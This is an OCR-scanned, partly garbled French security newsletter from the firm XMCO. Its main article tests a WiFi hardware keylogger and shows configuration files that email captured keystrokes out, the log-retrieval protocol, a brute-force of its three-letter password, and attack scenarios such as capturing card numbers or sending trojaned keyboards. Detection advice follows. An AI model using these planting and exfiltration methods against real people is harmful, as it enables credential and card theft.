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Chers lecteurs,

La notion de lien social est intrinséque a I'étre humain.
Des la naissance, le nouveau-né ne sait, ne peut pas
survivre sans I'aide des adultes. Il ne marche pas, ne se
nourrit pas seul et achéve sa construction cérébrale qui
lui permettra de devenir un individu doté de la fabuleuse
conscience que tous les animaux nous envient.

Sans rentrer dans une analyse psychologique pour la-
quelle je nai pas de compétence, il n'est pas nécessaire
de méditer pendant 15 ans pour comprendre que |'étre
humain, sauf certains ermites et quelques informaticiens
acharnés, ne peut pas vivre seul. Nous avons tous besoin
de contacts et d’échanges. C'est une constante impé-
rative de la vie d'une personne. Il en résulte la vie en
société ; avec tous les avantages et les inconvénients que
cela peut représenter : les amis, les voisins, les collégues
de travail, les patrons, les four-
nisseurs, etc.

Finalement, chacun joue son

propre role dans la vie des autres, et chaque vie n’est
qu'un enchevétrement de moments vécus en méme
temps, ensemble ou séparément, en parallele ou en se
percutant. Enfin, ¢’était comme ca jusqu’a l'arrivée des
réseaux sociaux sur Internet. Quel miracle! Quel progres!
Quelle performance annoncée que de pouvoir étre en
relation permanente avec I'ensemble des gens que I'on
connait et que I'on apprécie, et de s’assurer que TOUS
les moments seront vécus ensembles, partagés en simul-
tané, en LIVE, avec I'échange en temps réel des émotions
pour encore plus d’intensité grace a la sacro-sainte tech-
nologie qui permet au PING de faire le tour du monde
en moins d'1 minute (Cisco a vraiment ridiculisé Jules
Vernes!)!

Malheur a celui qui critiquera les réseaux sociaux : c’est
LE progrés de I’'humanité, sans lequel, point de salut, plus
de relation, plus de contact avec la civilisation.

Je vais quand méme prendre le risque d’étre ringard :
si la tendance se poursuit, on se racontera tellement de
choses via twitter, Linkedin, Facebook, etc. qu’on n’aura
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plus rien a se raconter quand on se verra. Pire ! On n'aura
plus besoin de se voir, puisqu’on se sera déja tout dit.
Franchement, si c’est pour entendre les banalités que
I'on peut lire, autant rester chez soi. Pour trouver de la
nouveauté, il faudra de nouvelles rencontres, qu’on s’em-
pressera d'ajouter a ses contacts pour profiter de la vie en
temps réel. Donc plus aucun intérét de se voir.

Ce que nous promettent les réseaux sociaux, c’est I'isole-
ment de 'individu. En effet, lorsqu’on n’est plus connecté,
on ne se «nourrit» plus de la vie des autres. Il faut donc
rester chez soi pour «partager». A mon sens, le réseau
social via Internet n’est pas du contact, c'est un simu-
lacre de relation, une expérience biologique a I'échelle
de I'humanité pour faire croire a I'individu qu'il partage
alors méme qu’il s'enferme dans une cellule de prison
haut-débit.

Oh la la... Vous allez

Internet a tué le lien social ! | penser que le Dpirec

teur d’XMCO traverse

une grosse déprime. Au
contraire, je reviens des assises de la sécurité et j'ai pu
mesurer a quel point il était agréable de discuter avec
des clients, des partenaires ou encore des concurrents et
a quel point I'étre humain n’était pas fait pour discuter a
travers un ordinateur, en tout cas pas seulement, et s:r-
tout pas essentiellement.

Ce genre d'événements vous raméne a l'essentiel : le
One-2-One ! Le vrai échange, le contact nourrissant et qui
fait évoluer, c’est celui qu’il nous est donné d’établir avec
les autres, en leur serrant la main, en partageant un verre
(plusieurs pour certains...), un repas, un moment parti-
culier dans un endroit donné, a un instant donné. Celui
qui fait qu’on se sent bien, qui nous fait ressentir cette
émotion qui nous motive et qui nous permet de finir la
journée dans une atmosphere agréable.

Je vous souhaite une bonne lecture de ce 29eme numéro
et espere vous voir prochainement pour en parler !

Marc Behar
DIRECTEUR DU CABINET

XMCO PARTENAIRE DE : g
i
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Vous étes concerne :
par la sécurité informatique
de votre entreprise ?

XMCO est un cabinet de conseil dont le métier est
I’audit en sécurité informatique.

Fondé en 2002 par des experts en sécurité et dirigé par ses
fondateurs, les consultants de chez XMCO n’interviennent que
sous forme de projets forfaitaires avec engagement de résultats.
Les tests d’intrusion, les audits de sécurité, la veille en
vulnérabilité constituent les axes majeurs de développement
de notre cabinet.

XMCO

we deliver security expertise

Parallelement, nous intervenons aupres de Directions Générales
dans le cadre de missions d'accompagnement de RSSI,
d'élaboration de schéma directeur ou encore de séminaires de
sensibilisation aupres de plusieurs grands comptes francais.

Pour contacter le cabinet XMCO et découvrir nos prestations :
http://www.xmco.fr

Test d’intrusion

Audit de Sécurité

Certification PCI DSS

Cert-XMC0° : Veille en vulnérabilités et
Cyber-surveillance

Cert-XMCO® : Réponse a intrusion



Analyse d’un keylogger physique
en vente sur Internet...

Présentation et utilisation du
cheval de Troie le plus célébre...

Résumés des conférences...

DigiNotar, BEAST, les monnaies
virtuelles...

Log scalp, Bryan Krebs, Twitter
favoris...
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> Les keyloggers physiques :
achat, présentation et utilisation

Intéressons-nous a un outil utilisé par les pirates. Plusieurs attaques reposant sur des key-
loggers physiques ont défrayé la chronique (Bibliothéques, universités, lieux publics).
Mais quelles seraient les conséquences lors de I'utilisation interne et comment ces «petits

jouets» fonctionnent-ils ?

> Les keyloggers physique kezaco ?

Un keylogger, ou «Enregistreur de frappe» en francais,
est un équipement ou un logiciel permettant d’enregistrer
toutes les touches qui ont été frappées sur le clavier d'un
ordinateur.

Plusieurs différences existent entre les keyloggers maté-
riels et logiciels. La principale est le fait qu’un keylogger
matériel ne peut s'installer a distance. Il est donc impé-
ratif d’avoir un acces physique a la machine. L'avantage
est qu’il n'y a aucune interaction possible avec le systeme
d’exploitation. En effet, le keylogger ne nécessite pas
d’installation logicielle. 1l n"a donc pas de probleme de
compatibilité avec le systeme puisqu’il n"a pas besoin de
driver pour étre installé. Etant mis sous tension dés le dé-
marrage de la machine, un keylogger physique peut donc
enregistrer les touches utilisées dés le lancement du
BIOS (mot de passe de protection du BIOS ; mot de passe
de logiciel de chiffrement de disque etc).

Si un keylogger logiciel est plus ou moins facile a détecter
grace a des logiciels, nous allons vous démontrer que la
version physique, ou matérielle est beaucoup plus difficile
a déceler.
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par Julien MEYER

Plusieurs fabricants proposent les produits suivants :
KeyDemon, Keelog (Pologne et USA) ;
KeyCarbon (USA) ;

KeyGhost (plus ancien, Nouvelle-Zélande) ;
Refog (USA - Russie).

«Plusieurs types de keyloggers existent,
capables de s’adapter a tout type de clavier»

Comme beaucoup de produits de nos jours, les keylog-
gers n'ont pas échappé aux avancées technologiques. On
trouve désormais des produits relativement complets qui
sont de plus en plus difficiles a déceler.

Hardware Software Music& Media Newworks Security Cloud PublicSector Business Science Odds & Sods B
Crime Malware  Enterprise Security  Spam I Comelance
Prnt | | Twest  ELke 35 L Akn
Hardware keyloggers found in Manchester licrary PCs
Spy on the wire gets your mad up proper
By John Leyden + Get more from this author
Posted in Crime, 16t February 2011 10:21 GMT
e WNIEPATET - LOW-IaTENGY SWINes POsSmigh-Mequeney Taing

Lo llZU]  MOST COMMENTED

= Men pocket $1.5m in alleged ATM skimming
spree.

= Chinsse fuzz bust faux iPhons racket

= Anonymous Twitter alternative developed for
rioters.

= Suspeets in PayPal web attack not so
anonymous after all

Hardwere keyloggers have been discovered in publiclibraries in Greater Manchester.

T USB devicss, atiachied 1o keyboard sockels o the back of campulers nWImsiowand | gy oo '
Handforth libraries, woult have enabled baddies to fecord avery keystroka made on Squad bust

campromisad PCs. I's Unclear who placed the shooping davices on e machines but the
likely pUrpesa was to eapture banking login eredentials on the deviees prier to thei ratrisval
and usa in banking fraud. Sign up, sign up for The Registars weekly IT
security newsletter - click here

Athira detectad device was
disccvered but disappeared before it | Synthetic DNALIbraries? s BoucGiotoom(Ot:
Library Construction Service: Full service, fast BETA-BOOSTER: OPENSUSE 12.1 DELIVERS

was turned over to local police, the
furnaround! FEDORA PUNCH WITH GNOME 3

Manehaster Evening Newa repors.

Many members of the public uss Network MORItBrng v qgars

library computer access either for Sea Mara of Your NEIWDI'I( with Emsllng Network
canvenience o becauss tney gant | Securlty Teels

have a computer at home. The

targetsd orariss ars i1 p-MAKel | corlo )b s

districts on the southern outskirts of | for highe tnmughnuts:raemng anu ﬁrug discovery.
Greater Manchestar. A BBC report | Find more at

on the incident has footage of one of

the affectsd ters. The
presumed scam, which had baen gaing on for a0 as yet undetermined period, was only A POPULAR WHITEPAPERS
rumbied aftar staff examinad ane of tha compromised PCs, which had bagun misbahaving -

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.



Voici les caractéristiques des keyloggers physiques actuels:

Mémoire interne allant jusqu’a 2 Go de mémoire flash;

Chiffrement complet des données afin de protéger les
fichiers de configuration et de log ;

Connexion WiFi, gestion de to us les protocoles récents

Acces a distance et logiciel de gestion associé ;
Protection par mot de passe de |'accés a distance ;
Un prix relativement faible, de 30$ a 1505 ;

Tres petite dimension.

Plusieurs types de keyloggers existent, capables de
s’adapter a tout type de clavier.

Les keylogger de type PS/2 sont les plus anciens.
Utilisable sur des claviers ayant une sortie PS/2, ils sont
devenus quasi indétectables visuellement. Il est, en effet,
possible d’avoir la version USB-PS/2 qui a exactement
la méme forme que les adaptateurs USB-PS/2, trés sou-
vent utilisés avec ce type de matériel sur des machines
récentes.

Les keyloggers de type USB sont, sans aucun doute,
les plus utilisés a ce jour et les plus difficiles a détecter.
('est ce type de keylogger qui va nous intéresser et que
nous allons étudier dans la suite de cet article.

Il est également possible de placer un module key-
logger dans un clavier. Ce type de module, d’a peine
3cm sur 1,5¢cm, peut se brancher facilement au sein d’un
clavier, qu'il soit USB ou PS/2.

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.

Les keyloggers sans fils permettent, quant a eux,
d’enregistrer les frappes a distance, en sniffant le réseau
ou les ondes radio tout en déchiffrant les paquets venant
du clavier.

> Présentation et utilisation du
KeyGrabber Nano WiFi

Le keylogger KeyGrabber Nano WiFi fait partie de la
gamme nano de Keelog.

Voici les caractéristiques du keylogger que nous avons
choisi :

Dimensions : 35mm * 20mm * 12mm ;

Chiffrement 128 bits (pas d'information supplémen-
tair) ;

Connexion aux réseaux WiFi (support WEP64/128,
WPA, WPA-2 et WiFi ouvert) : Il lui sera possible de se
connecter sur un réseau WiFi a 150m sur terrain ouvert et
environ 50m dans un environnement de bureau ;

Acces aux données par le réseau ;

Envoi d’email automatique ;

Support de plusieurs «keyboards layouts» ;

Compatible USB-HID (Low-speed, full-speed et High-
speed) version 1.1 ou 2 ;

8 Mo de mémoire flash ;

Ne fonctionne pas sur un adaptateur USB-PS/2.
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Le keylogger est livré avec un cable USB/2 pins permet-
tant d'utiliser le keylogger en mode «Storage» et un (D-
ROM contenant la documentation ainsi que le logiciel de
gestion «Demons Tools» qui permet de gérer tous les pro-
duits de la marque keyGrabber.

La configuration du keylogger peut se faire manuellement
ou bien en passant par l'interface graphique de «Demons
Tools». Le keylogger va stocker la configuration au sein
des 2 fichiers suivants : Un fichier nommé WIFLTXT, per-
mettant de configurer les fonctionnalités WiFi et mail et
un fichier nommé CONFIG.TXT qui contient le reste des
parameétres de configuration. Ces derniéres sont stockées
sous la forme clé=valeur.

La configuration du WIFI

Le keylogger peut se connecter automatiquement au
point d'acces WiFi choisi. Plusieurs options doivent étre
configurées :

«WifiNetwork» permet de spécifier le SSID du point
d’acces ;

«WiFiEncryption» son chiffrement utilisé (WEP, WPA,
WPA2) ;

«WiFiPassword» le mot de passe ;

«WifiStandard» est le parametre qui sert a spécifier les
standards WiFi de la région (US par défaut).

Par défaut, le keylogger est configuré en IP dynamique.
On peut aussi le faire en IP statique grace au parameétre
«IpAdress», «NetMask», «Gateway», «DnsServer» et
«DnsServer2».

Le WiFi peut également étre entierement désactivé avec
le parametre «DisableWifi».

Il est dommage que le keylogger ne scanne

[xXmMcol

pas automatiquement les réseaux a proximité pour trou-
ver un réseau ouvert.

® ™M

DizableWiF i=No
WiFiMNetwork=test_julien
WiFiEncryption=WEP1Z3
WiFiPassword=12345675%zer
WiFiStondard=France
DizableTcp=Ho

[izab leldo=Na

Di=zableSmtp=No
Recipient=julien.meyverdxmco.fr
ReportIntervol=36688
Report3Size=10248
CustomSmtp=Yesz

SmtpServer=mail .xmco.fr
Smtpllzer=user
SmtpPassword=password
SmtpSender=julien.meyer@xmco.fr

— WIFLTXT

«Le keylogger est livré
avec un cable USB/2 pins
permettant d’utiliser le keylogger en
mode «Storage» et un (D-ROM
contenant la documentation ainsi
que le logiciel de gestion «Demons Tools.»

Configuration de I’envoi d’email

Si le keylogger parvient a se connecter sur un réseau wifi,
il peut alors envoyer un email toutes les X minutes, seuil
défini par la variable «Reportinterval». Le parametre «Re-
cipient» permet de spécifier I'adresse email vers laquelle
I'email va étre envoyé. Si cette valeur n’est pas présente,
cette option sera automatiquement désactivée. L'envoi de
courriel peut également étre désactivé grace a I'option
«DisableSmtp». Les parametres «CustomSmtp», «Smtp-
Server», «SmtpUser», «SmtpPassword» et «SmtpPort»
permettent de configurer un serveur SMTP différent de
celui par défaut («smtpauthXX.prod.mesa1l.secureserver.
net»). L'émetteur du courriel peut également étre défini
avec «SmtpSender».

On peut noter I'absence de spécification de
I'objet, ou du chiffrement de I'email, qui serait un plus
pour empécher la détection de celui-ci.

Configuration de I’accés a Demon Tools

«Demons Tools», I'outil de récupération des logs en ré-
seau, utilise un port TCP pour la récupération des logs et un
port UDP pour découvrir les appareils connectés au réseau.
Les parametres «DisableTcp» et «DisableUdp» permettent
de désactiver ces fonctionnalités. «TcpPort» et «UdpPort»
servent a spécifier les ports d'écoute. Par défaut, c'est le

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.



port 25999 en TCP et 25998 en UDP qui sont utilisés. Afin
de sécuriser I'acces au keylogger par le réseau, un mot
de passe de 3 caractéres maximum est mis en place, par
défaut KBS. L'option «Password», a mettre dans le fichier
CONFIG.TXT, permet de changer le mot de passe.

Remarque : Un mot de passe de 3 caractéres ne suffit pas
a protéger correctement I'acces a I'appareil.

Configuration générale

Les configurations de I'appareil peuvent étre chiffrées
grace a I'option «Encryption». Nous verrons, par la suite,
que ce parametre n’est pas fonctionnel. L'enregistrement
peut étre arrété (ce qui n’est pas vraiment le but d'un
keylogger) avec «DisableLogging».

falala)

Posgward=xsHE
Dizablelogging=Mo
Logspecialkeys=Full
[Dizablelayvout=Ho
Encryption=No

|| CONFIG.TXT

Une fois les fichiers de configuration créés, il est néces-
saire de connecter le keylogger a une machine en mode
«Storage» afin de copier les fichiers. Pour se faire, il suffit
de brancher les 2 pins du cable USB livré avec le keylogger,
puis de brancher le keylogger et le cable a la machine. Le
keylogger est alors détecté comme un périphérique USB
de stockage de masse. Il est alors possible de copier les
fichiers de configuration sur I'appareil.

La configuration peut également se faire avec «Demons
Tools». Il suffit d’exécuter le logiciel, de choisir le modele
et de sélectionner le menu de configuration. Une fois la
configuration effectuée, elle sera automatiquement co-
piée sur le périphérique.

L'utilisation de Demon Tools pour configurer

le keylogger aurait pu étre intéressante s'il avait été pos-
sible de le reconfigurer a distance.

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.

Le keylogger est prét ! Le pirate peut désormais le bran-

K] Local Ares Network Scan == Avonces
Disal ke bogoig cony This will scan the Local Area Network (LAN) for connected 20 :
Log specialkeys (Med wireless keylogger devices. Press the button to start
R ——
7] Disable layout =L
Selected layout [Seie] e Olt ) LU
P5/2 Optons Fepong va £
T 7] Enable Emai rpoting Advanced
Keystroke generation speed Medum (defaut) v Emai recpiert  ohn@smih corl
| Scdediney Text menulanguage [Engish - inteval 60 S mines
S— Repottsize 10 |2/ kiobtes
Enableflesysem encryption (expers o)
Tagging encrypton mode il fornat the flesystem! Contie Fem J
——

K] WiFi Control Canter - Mylogger (192.168.0.1) =
File Edit Devices
: k- ()] T — e
=7 1KY g
Devices Access Point Configuration
- [..][2009-21-01 03:45:16 PM]chat.yahoo.com [
Loe AT T mikeoga [Tab] mike [Ent]
hi david [ent Disable WiFi completely
t's skip school tomorrow, he? [€nt]
Nobody should find gut! [Ent] Network ID (SSID)  MyNetwork

ure Keylogger S
PM]check out this 1ink - WeA2
m/thread12961. html [Ent
i1 [ent]

nt]

‘

Password  MyPassword

ys K ~J[B ~|[s ~] WLAN standard (LS,

“

memonize! b] mike [ent]
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out the password is impossible.

cher sur la machine de la victime, entre le clavier et le port
USB de la machine.

7

Suivant la configuration choisie, plusieurs options sont dis-
ponibles.

Récupération physique

En débranchant le keylogger de la machine victime et
en le connectant en mode «Storage», il est possible de
récupérer un fichier LOG.TXT contenant les touches enre-
gistrées.

n00n | LOG.TXT
[TPurJct st un test, [Bok]2 (Bekld [ook] [Ent]

[Ent]ilien. [Bok

Récupération par email

Si un réseau WiFi a été configuré et que le keylogger ar-
rive a s’y connecter, il tentera d’envoyer un email. Le pre-
mier email envoyé, contient la configuration. On connai-
tra des lors I'adresse IP obtenue et le réseau sur lequel il
est connecté. Un email avec le contenu du fichier LOG.TXT
sera, ensuite, envoyé toute les X minutes.
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From: julien meyer
Subject: === KeyDemon USB Wi-Fi Report <==
Date: September 13,2011 12:22:16 PM GMT+02:00
To: julien meyer

Access Point - test

IP (Static) : 10.0.2.3

Gateway :10.0.2.1

MAC :00:11:F68B75:17

Reportrange :0-115

[Pwrlci est un testBck]2[Bek]1 [Bek][Ent]

[Ent)[ShiTest de frgppe sur key[Bek)[Bek][Bek]le clgvier[Ent]
[Ent]jlien.[Bek][Bek][Bek]Bek][Bek][Ent]
[Entjjulien,[Bek][Shi=m[Bek]:eyer1 [Bek][Sh][Bek)Bek][Bek][Bek][Bekliulien[Shi<:eyer x:co[Shifr[Ent]
testpgsszord[Ent]
[Ent[PwritestPwiPwriPwiPwiPwilPwrPwr[PwiPwr]

Récupération par Demon Tools

Grace a l'outil «Demon Tools», il est possible de se connec-
ter au travers du réseau et ainsi de récupérer les logs (Si
celui-ci est bien entendu connecté au WiFi...). Dans la
partie suivante, une petite analyse vous fera découvrir le
«protocole» de communication utilisé.

Une fois le fichier de log récupéré, il est possible de le lire
avec un éditeur de texte, ou bien avec Demon Tools. Cer-
taines touches spéciales ont été remplacées par un alias.

Par exemple, la touche échappe est marquée [Esc] dans
le fichier de log. Trois commandes sont également dis-
ponibles: Power [Pwr], Sleep [SIp] et Wake [Wke]. Ces
touches ne sont pas configurables.

N’ayant pas réussi a configurer la date et I'heure lors des
saisies (aucune option ne permet de le faire malgré la
documentation). La recherche de logins/mots de passe
peut devenir extrémement difficile (si le login n’est pas
une adresse email) dans un log de plusieurs centaines de
lignes.

Tobias Leeger
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> Analyse du protocole utilisé

Cette fonction sert a rechercher les keyloggers sur le
méme réseau que celui de la machine. Demon tools en-
voie un paquet UDP en broadcast sur le port (par défaut
25998), avec pour data «Get Ip» [1]. Les keyloggers pré-
sents sur le réseau lui répondront par un paquet UDP sur
le méme port, avec pour data «OK». En sniffant le réseau,
il est donc possible de découvrir les keyloggers installés si
cette fonctionnalité n'a pas été désactivée. Si le message
«Get Ip» est intercepté, il est alors possible de retrouver la
machine sur laquelle Demon Tools est installé a condition,
bien sur, d’avoir accés au réseau WiFi.

Dest]
44 Source port: 6648 Desti

48 Source port: 1talk

S5, o o
0.0.2.10 upP

Frame 4: 48 bytes on wire (384 bits), 48 bytes captured (384 bits)
Ethernet II, Src: Apple c2:4d:41 (10:9a:dd:c2:4d:41), Dst: Broadcast (ff:
Internet Protocol Version 4, Src: 10.0.2.10 (10.0.2.10), Dst: 255.255.25%
User Datagram Protocol, Src Port: i1talk (12345), Dst Port: 4243 (4243)
Data (6 bytes)

Data: 476574204970

Ce document est la propriété du cabinet XMCO.

[Length: 8]
o0 ff ff ff ff ff ff 10 a dd c2 4d 41 08 €0 45 00  ........ .. MA..E
10 00 22 60 f7 00 00 80 11 cd ca 0a 0D 02 Oa ff ff " ... ...o.....
20 ff ff 30 39 10 93 00 Oe ae 06 47 65 74 20 49 70 N o= T Get Ip

Une deuxieme fonction est présente dans Demon Tools
: la récupération des logs. Cette fonction est activée par
défaut sur le port TCP/25999. Demon Tool envoie un pa-
quet TCP a la machine ciblée ayant pour data «Get Log
[MDP]». [MDP] est le mot de passe, par défaut «KBS», qui
permet de se connecter au keylogger. Si le mot de passe
est correct, le keylogger renverra, dans un paquet, les logs
a Demon Tools. Si jamais le mot de passe n’est pas bon, le
keylogger renverra un paquet TCP [FIN, ACK] et mettra un
terme a la connexion.

Il sera donc possible de sniffer le réseau et d’intercepter le
message «Get Log [MDP]».

b Frame 7: 65 bytes on wire (520 bits), 65 bytes captured (520 bits)
b Ethernet II, Sre: Apple_c2:4d:41 (10:8a:dd:c2:4d:41), Dst: AsiaPaci_s8b:75
b Internet Protocel Version 4, Src: 10.0.2.10 (10.0.2.10), Dst: 10.0.2.3 (1
P Transmission Control Protocol, Src Port: florence (1228), Dst Port: 4242
< Data (11 bytes)

Data: 476574204c5f67204b4253

[Length: 111]

0occ 00 11 T6 8b 75 17 10 9a dd c2 4d 41 08 00 45 00  ....U... .. MA. .E
0010 00 32 60 fd 40 00 80 06 81 bb 0a 00 02 0a 0a 00 .3 .@... ........
0020 02 03 04 cc 10 92 e6 hO 49 a3 00 00 3a e9 50 18  ........ I...:.P.
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b
b

Frame 11: 180 bytes on wire (1440 bits), 180 bytes captured (1440 bits)

Ethernet II, Src: AsiaPaci_8b:75:17 (00:11:f6:8b:75:17), Dst: Apple_c2:4d:41
Internet Protocol Version 4, Src: 10.0.2.3 (10.0.2.3), Dst: 10.0.2.10 (10.0.
Transmission Control Protocol, Src Port: 4242 (4242), Dst Port: florence (12

= Data (125 bytes)

Data: 5h5077725d5h5077725d5b5077725d5h5077725d5h507772. . .
[Length: 1281

0000
0010
0020
0030
0040
0050
(olel<To]
0070
0080
(olezelol
0020

10 9a dd c2 4d 41 00 11
00 a5 00 46 00 00 40 06
02 0a 10 S2 04 cc 0O 00
05 bo cf of 00 00 5h S0
Sh 50 77 72 =d Sh 50 77
50 77 72 5d Sh 50 77 72
77 72 5d sh 50 77 72 =d
72 5d sb 50 77 72 5d sb
Sd sh 50 77 72 5d sh S0
sh 50 77 72 5d Sb 50 77
50 77 72 5d Sb 50 77 72

f6 8b 75 17 ©8 00 45 00
62 00 0a 00 G2 03 Qa 00
3a €9 ef b0 49 ae 50 18
77 72 5d 5b 50 77 72 5d
72 5d Sh 50 77 72 5d Sb
5d Sb 50 77 72 5d Sb 50
sb S0 77 72 5d sb S0 77
S0 77 72 5d sh so 77 72
77 72 5d sh 50 77 72 =d
72 5d sh 50 77 72 5d Sb
sd 74 65 73 74 Sb 45 Ge

I.P.
...... [P wrllPwr]
[Pwrl[Pw r]lPwr]l
Pur][Pwr ]1[Pwr][P
wrl[Pwr] [Pur][Pw
rl1lPwrll Pwr][Pur
1lPwrllP wrllPwr]
[PwrllPw rllPwrll

Pwr][Pwr Jtest[En
oobo 74 5d od 0a tl..

En envoyant un ACK au port TCP/4242, nous obtenons une
réponse de fin de connexion RST, ACK, nous spécifiant que
le port est fermé. Pour le port 25999, le keylogger nous
retourne un SYN, ACK. Il s’agit donc du port qui est ouvert
pour la récupération des logs.

10.0.2.10 TCP

10.0.2.10 TCP

Si le port TCP est ouvert, on peut tenter de mener une
attaque de type force brute sur I'authentification afin de
retrouver le mot de passe et ainsi accéder aux données
enregistrées par le keylogger.

Pour cela, il suffit d’envoyer un paquet TCP contenant les
data «Get Log AAA» au keylogger, et de voir si I'on obtient
une réponse différente d’un RST, ACK. En testant toutes
les possibilités (17 576 pour 3 caractéres alphabétiques
majuscules), il est possible de retrouver le mot de passe
et de récupérer les Logs.

> Différents scénarios d’utilisation

Les entreprises utilisant de plus en plus d'ordinateurs por-
tables, un grand nombre de postes sont donc a exclure.
Cependant, le risque d'utilisation de keyloggers physiques
sur un systeme d’Information subsiste.

Les serveurs pourraient étre une bonne cible, mais leur
administration est de plus en plus réalisée a distance
ou bien par commutateur KVM (keyboard-video-mouse
switch). Dans la théorie, si I'administration de plusieurs
serveurs est réalisée a l'aide d'un commutateur KVM, il
serait tres intéressant de brancher le keyloggers entre le
clavier et ce dernier, afin d’enregistrer toutes les touches
frappées par I'ensemble des serveurs branchés dessus.
Dans la pratique, peu de keyloggers fonctionnent sur un
commutateur KVM.

Il est bien entendu possible de mettre en place un key-
logger sur un clavier directement branché sur un serveur
spécifique. La phase d’installation et de récupération peut
étre compliquée si la sécurité physique est adéquate. En
revanche, si le branchement est effectué par une per-

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.

54 4242 = univ-appserver [ACK] Seq=1 Ad

54 4242 = univ-appserver [FIN, ACK] Set

sonne autorisée a accéder a la salle serveur, cela peut
devenir intéressant. Ainsi le keylogger pourra sauvegarder
les logins et les mots de passe d’acces au serveur, au BIOS
ou encore a certaines applications.

Si le keylogger est bien configuré, en empéchant toute
communication par le WiFi ou en se connectant sur un
réseau autre que celui de I'entreprise (un autre WiFi piraté
par exemple), il deviendra quasiment indétectable.

>INFO

Recrudescence des attaques de type «Doppelganger
Domains»

Le typosquatting de nom de domaines est le fait
d'acheter des noms de domaines proches des noms
de domaines existants. En achetant ces noms de do-
maines, il est ensuite possible de mener plusieurs
types d'attaques notamment pour créer des sites
d’hameconnages ou encore diffuser des malwares.

Les attaques de type «Doppelganger Domains» sont
moins connues et permettent a un pirate informa-
tique de récupérer des informations sensibles. Ces at-
taques s'appuient sur I'achat d'un nom de domaine
en supprimant le point entre I'hdte et le sous-do-
maine (exemple us.bank.com --> usbank.com).

En mettant en place un serveur de mail associé a un
nom de domaine usurpé, un pirate pourrait récupé-
rer tous les emails des personnes ayant oublié le «.»,
et ainsi avoir accés a des informations confidentielles.

Des chercheurs ont mis en place 30 «Doppel-
ganger domains» et ont étudié pendant 6 mois
les emails recus. 120 000 emails ont été récupé-
rés contenant plus de 20 gigabytes de données.

Afin de proteger I'entreprise contre ce
d’attaque, plusieurs solutions existent
ok Réaliser une veille sur les noms de domaines
typosquattés proches du nom de la société.
sk Déposer les noms de domaines a risque.
o Récupérer les noms de domaines typosquattés.

type

[xmMcol

11



12

Si les couples login/mot de passe sont intéressants a
récupérer, d’autres données peuvent I'étre également.
Imaginons qu’un keylogger ait été placé a I'arriere de
la machine d'une opératrice d'un call center, le keylog-
ger pourra alors sauvegarder tous les numéros de cartes
bancaires saisis par 'opératrice. Une fois le fichier de log
récupéré, des centaines de numéros de carte de crédit
pourront étre extraits par I'attaquant grace a un logiciel
de recherche (tel que PanBuster d’XMCO).

Vous comprenez maintenant toute I'importante du cha-
pitre 9 du PCI-DSS «Restrict physical access to cardholder
data».

Une personne malveillante travaillant au Help-Desk
d’une entreprise pourrait facilement mettre en place des
keyloggers sur des machines avant de les apporter aux
employés. Etant au-dela de tout soupcon, cette personne
pourra ensuite récupérer les keyloggers et avoir acces a
des informations sensibles (Service commercial, VIP de
I'entreprise).

«Imaginons qu’un keylogger ait
été placé a I’arriere de la machine
d’une opératrice d’un call center,
le keylogger pourra alors
sauvegarder tous les numéros de cartes ban-
caires saisis par I'opératrice.»

Une autre maniere d’installer un keylogger pourrait étre
la mise en place de modules keyloggers directement dans
des claviers. Ces derniers pourraient ensuite étre envoyés,
en «cadeau» ou 3 la place d'une commande réelle. Cette
maniéere «aléatoire» de mise en place peut porter ses
fruits avec quelques améliorations de keyloggers exis-
tants. Imaginons qu’une fonction de désactivation du
lien USB soit rajoutée dans le module keylogger, et qu’au
bout de plusieurs semaines, mois ou au bout d'un cer-
tain nombre de caractéres atteints, le clavier se désactive
automatiquement.

A ce moment-13, la garantie mise en place permet a
I'entreprise de renvoyer les claviers pour les échanger
ou pour les réparer et ainsi de récupérer les keyloggers
en toute discrétion. Comme les machines ne seront pas
ciblées lors de leur installation, il sera, par contre, difficile
de retrouver les login - mots de passe. Néanmoins, apres
une recherche plus approfondie, les résultats peuvent vite
s’avérer fructueux.

[xXmMcol

> Détection

La détection d'un keylogger matériel est possible, mais
suivant la configuration de I'appareil et le modele utilisé,
celle-ci peut devenir tres difficile.

un keylogger peut étre repéré visuellement, si bien en-
tendy, il n’est pas intégré directement dans le clavier ou
dans la machine. Plus le nombre de machines a vérifier
est grand et moins il y a de chance de les trouver. Un
utilisateur lambda dans une entreprise, méme s'il se rend
compte qu’un «objet» a été rajouté a sa machine, ne s’in-
quiétera probablement pas. Les machines dont le clavier
est branché sur un port USB peu accessible sont encore
plus difficiles a identifier.

La détection visuelle, méme si elle doit étre souvent
effectuée, est donc la maniere Ia plus sdre. Cependant,
cette méthode est difficile a réaliser sur un parc consti-
tué de centaines de machines. Sensibiliser a la détection
visuelle les utilisateurs des postes représente également
une bonne prévention.

Ce document est la propriété du cabinet XMCO. Toute reproduction est strictement interdite.



> INFO

Des logiciels espions seraient installés sur du matériel
informatique avant son importation vers les Etats-Unis

D’aprés un récent rapport de la Maison Blanche, des
programmes malveillants seraient présents dans cer-
tains matériels informatiques et gadgets électroniques.

Certaines chaines d’approvisionnement en matériel et lo-
giciel auraient été délibérément infectées par des logiciels
espions ou malveillants avant leur importation. Le rapport
ne donne pas le nom des entreprises en question et n’in-
dique pas non plus qui serait derriere ces contaminations
volontaires (hackers, entreprises ou gouvernements).

Greg Schaffer, sous-secrétaire adjoint du DHS (Depart-
ment of Homeland Security), a indiqué qu’une force spé-
ciale d’investigation, créée conjointement par le DHS et
le DoD (Dept. of Defence), allait enquéter sur le sujet.

Lors du branchement d’un keylogger, le clavier doit étre
déconnecté puis reconnecté afin de placer I'appareil entre
le clavier et la machine. Si la machine est allumée, il est
possible d’intercepter les messages de connexions et de
déconnexions du clavier. Sur une machine allumée (type
serveur de production) c’est une bonne pratique. En
envoyant par exemple un email lors de la déconnexion
d’un périphérique USB, il est alors possible d’aller voir
physiquement la machine afin de vérifier si rien n'a été
installé. Sur ce type de serveur, il est important d’inspec-
ter la machine en cas de redémarrage du systeme (les
déconnexions n’étant alors pas détectées). Cette méthode
est moins utile sur des machines souvent éteintes (type
machine utilisateur).

Augmentation de la consommation électrique

Sur certains modeles de Keylogger et/ou suivant la confi-
guration, il est possible de visualiser les changements de
consommation électrique du dispositif. Si un clavier a une
consommation requise de 50 mA sans keylogger, il est
possible que cette derniére augmente une fois que celui-ci
est branché.

